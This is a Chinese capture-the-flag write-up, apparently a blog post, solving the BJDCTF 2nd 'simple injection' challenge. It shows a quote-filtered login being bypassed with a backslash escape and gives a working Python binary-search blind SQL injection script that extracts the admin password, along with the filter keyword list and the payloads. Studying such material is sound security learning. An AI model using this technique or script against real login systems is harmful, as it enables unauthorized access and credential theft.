[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)

进入后页面:在这里插入图片描述
看看后台用什么闭合的,测试单引号:在这里插入图片描述
在这里插入图片描述
发现直接就给你过滤了。试试还过滤了什么,发现过滤了以下指令:
在这里插入图片描述
(这个方法挺巧的)

union , select , = , ' , & , && , - ,  " , and 

连引号都过滤了,这可怎么做啊。
看看又什么提示,源码里面啥也没有,扫描一下发现robots.txt:在这里插入图片描述
发现了hint.txt提示,访问看看:
在这里插入图片描述
显示了后端的SQL语句,我们可以使用 \ 转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容
解释:
由于过滤了引号,我们不能闭合引号了,所以我们不能用以下方法登录:

用户名:admin' or 1=1#
密码:123

所以我们要使用 \ 转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容,即:

用户名:admin\
密码:or 1 #     //等号也被过滤了

即构造了:select * from users where username='admin\' and password='or 1 #'

在这里插入图片描述

出现了:BJD needs to be stronger。也就是说查询正确的结果和查询错误的结果显示的页面是不一样的,那不就是盲注吗,由此编写二分盲注脚本(其实就是在原来的二分盲注脚本基础上改改就行)

根据hint:Only u input the correct password then u can get the flag
应该是说只要密码对就行,用户名应该不在检测范围内,当然这只是猜测,所以我们脚本里用的用户名为admin,后续证明就是这样的。

手动测试的时候or也没有被过滤,脚本里面就出错了,将or换成了^异或符号:

import requests
import time

url = "http://d5c62637-a5bd-4695-a11f-97b5cecb2838.node3.buuoj.cn/index.php"
temp = {}
password = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        payload = '^ (ascii(substr((password),%d,1))>%d)#' % (i,mid)      
        # select * from users where username='admin\' and password='^ (ascii(substr((password),%d,1))>%d)#'
        temp={"username":"admin\\","password": payload}
        r = requests.post(url,data=temp)
        print(low,high,mid,":")
        if "P3rh4ps" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    password +=chr(mid)
    print(password)


print("password=",password)

运行之后拿到密码:
在这里插入图片描述
使用admin / OhyOuFOuNdit登录即可获取flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值